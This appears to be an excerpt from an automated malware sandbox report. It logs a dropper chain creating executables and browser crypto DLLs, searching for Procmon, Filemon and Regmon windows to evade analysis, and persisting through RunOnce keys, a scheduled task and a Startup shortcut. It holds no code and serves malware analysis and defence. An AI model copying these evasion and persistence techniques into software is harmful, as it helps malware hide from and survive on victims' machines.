Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI77202\mfcm90.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI77202\python27.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\N4H84.exe	File created: C:\Users\user\AppData\Local\Temp\IXP001.TMP\h0i46.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI77202\_socket.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\same.exe	File created: C:\Users\user\AppData\Local\Temp\IXP000.TMP\N4H84.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI77202\_tkinter.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI77202\win32ui.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI77202\_win32sysloader.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	File created: C:\Users\user\AppData\Local\Temp\S0E9GDU0ZDFIFFW6VFPUPGQZ.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI77202\mfcm90u.dll	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe

File created: C:\Users\user\AppData\Local\Temp\_MEI77202\mpc\41678903251236549780

Jump to dropped file

Source: C:\Users\user\Desktop\same.exe	Code function: 0_2_003E1AE8 CompareStringA,GetFileAttributesA,LocalAlloc,GetPrivateProfileIntA,GetPrivateProfileStringA,GetShortPathNameA,CompareStringA,LocalAlloc,LocalAlloc,GetFileAttributesA,	0_2_003E1AE8
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\N4H84.exe	Code function: 2_2_002A1AE8 CompareStringA,GetFileAttributesA,LocalAlloc,GetPrivateProfileIntA,GetPrivateProfileStringA,GetShortPathNameA,CompareStringA,LocalAlloc,LocalAlloc,GetFileAttributesA,	2_2_002A1AE8
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\h0i46.exe	Code function: 3_2_00361AE8 CompareStringA,GetFileAttributesA,LocalAlloc,GetPrivateProfileIntA,GetPrivateProfileStringA,GetShortPathNameA,CompareStringA,LocalAlloc,LocalAlloc,GetFileAttributesA,	3_2_00361AE8

Boot Survival

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S0E9GDU0ZDFIFFW6VFPUPGQZ.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\S0E9GDU0ZDFIFFW6VFPUPGQZ.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\S0E9GDU0ZDFIFFW6VFPUPGQZ.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\S0E9GDU0ZDFIFFW6VFPUPGQZ.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\S0E9GDU0ZDFIFFW6VFPUPGQZ.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\Documents\GIJEGDAKEH.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\Documents\GIJEGDAKEH.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\Documents\GIJEGDAKEH.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\Documents\GIJEGDAKEH.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\Documents\GIJEGDAKEH.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1029921001\531581880b.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1029921001\531581880b.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1029921001\531581880b.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1029921001\531581880b.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1029921001\531581880b.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1029921001\531581880b.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1029921001\531581880b.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1029921001\531581880b.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XClient.lnk

Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XClient.lnk

Source: C:\Users\user\Desktop\same.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce wextract_cleanup0	Jump to behavior
Source: C:\Users\user\Desktop\same.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce wextract_cleanup0	Jump to behavior
Source: C:\Users\user\Desktop\same.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce wextract_cleanup0	Jump to behavior
Source: C:\Users\user\Desktop\same.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce wextract_cleanup0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\N4H84.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce wextract_cleanup1	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\N4H84.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce wextract_cleanup1	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\N4H84.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce wextract_cleanup1	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\N4H84.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce wextract_cleanup1	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\h0i46.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce wextract_cleanup2	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\h0i46.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce wextract_cleanup2	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\h0i46.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce wextract_cleanup2	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\h0i46.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce wextract_cleanup2	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\S0E9GDU0ZDFIFFW6VFPUPGQZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1029919001\f7eded9312.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
